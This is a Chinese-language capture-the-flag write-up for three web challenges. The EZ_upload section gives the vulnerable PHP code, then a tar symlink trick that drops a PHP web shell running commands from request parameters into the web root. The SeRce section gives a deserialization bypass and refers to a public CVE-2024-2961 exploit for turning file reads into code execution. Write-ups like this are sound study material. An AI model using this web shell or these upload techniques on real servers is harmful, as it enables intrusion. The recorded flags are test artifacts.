文曲签学

​访问是一个可以交互的查询器

file-20260304230837004

file-20260304230837007

file-20260304230837009

file-20260304230837011

1
flag{1d067833-647f-4815-b760-01e875da2395}

EZ_upload

​文件上传类题目,先随便上传一个文件:

file-20260304230837010

​源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
highlight_file(__FILE__);

function handleFileUpload($file)
{
$uploadDirectory = '/tmp/';

if ($file['error'] !== UPLOAD_ERR_OK) {
echo '文件上传失败。';
return;
}

$filename = basename($file['name']);
$filename = preg_replace('/[^a-zA-Z0-9_\-\.]/', '_', $filename);

if (empty($filename)) {
echo '文件名不符合要求。';
return;
}

$destination = $uploadDirectory . $filename;
if (move_uploaded_file($file['tmp_name'], $destination)) {
exec('cd /tmp && tar -xvf ' . $filename.'&&pwd');
echo $destination;
} else {
echo '文件移动失败。';
}
}

handleFileUpload($_FILES['file']);
?>

​此题可参考CISCN2023的unzip这道题,区别在于一个用的zip,一个用的tar。

​题目限定了上传目录为/tmp,正常情况下我们无法访问到,但是可以通过软链接的形式,将/tmp/link软链接到/var/www/html,这样子我们把文件解压到/tmp/link,实际上就是解压到/var/www/html

​那么首先打包软链接,tar默认是会保留符号软链接的,不需要手动指定:

1
2
ln -s /var/www/html link
tar -cvf link.tar link

file-20260304230837013

​把软链接删掉,避免重名文件夹:

1
unlink link

​创建木马:

1
2
3
mkdir link
echo "<?php system(\$_REQUEST['cmd']);?>" > link/shell.php
tar -cvf shell.tar link/*

file-20260304230837012

​依次上传link.tar和shell.tar

file-20260304230837019

1
flag{bfc6d5a1-bbc4-4250-b66b-327fae13ca15}

SeRce

​访问得到源码:

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
$exp = $_GET["exp"];
if(isset($exp)){
if(serialize(unserialize($exp)) != $exp){
$data = file_get_contents($_POST['filetoread']);
echo "File Contents: $data";
}
}

​首先需要传入一个exp,使得serialize(unserialize($exp)) != $exp

​参考:PHP反序列化冷知识 | Eki’s blog

​传入/?exp={s:1:”a”;O:7:”classes”:0:{}}

​尝试直接读取flag发现读取不到:

file-20260304230837020需要借助CVE-2024-2961将文件读取提升为RCE

​下载poc脚本:ambionics/cnext-exploits: Exploits for CNEXT (CVE-2024-2961), a buffer overflow in the glibc’s iconv()

​稍微修改下即可:

file-20260304230837021

​实际上一开始准备直接写马,但一直无果,后续发现是由于权限设置,www-data用户没有写入/var/www/html目录的权限,所以我们借助/tmp目录和file_get_contents来获取执行回显file-20260304230837022

file-20260304230837023

file-20260304230837024

file-20260304230837025

1
flag{8c8133f4-1e91-4706-a9cc-ab23dfb843da}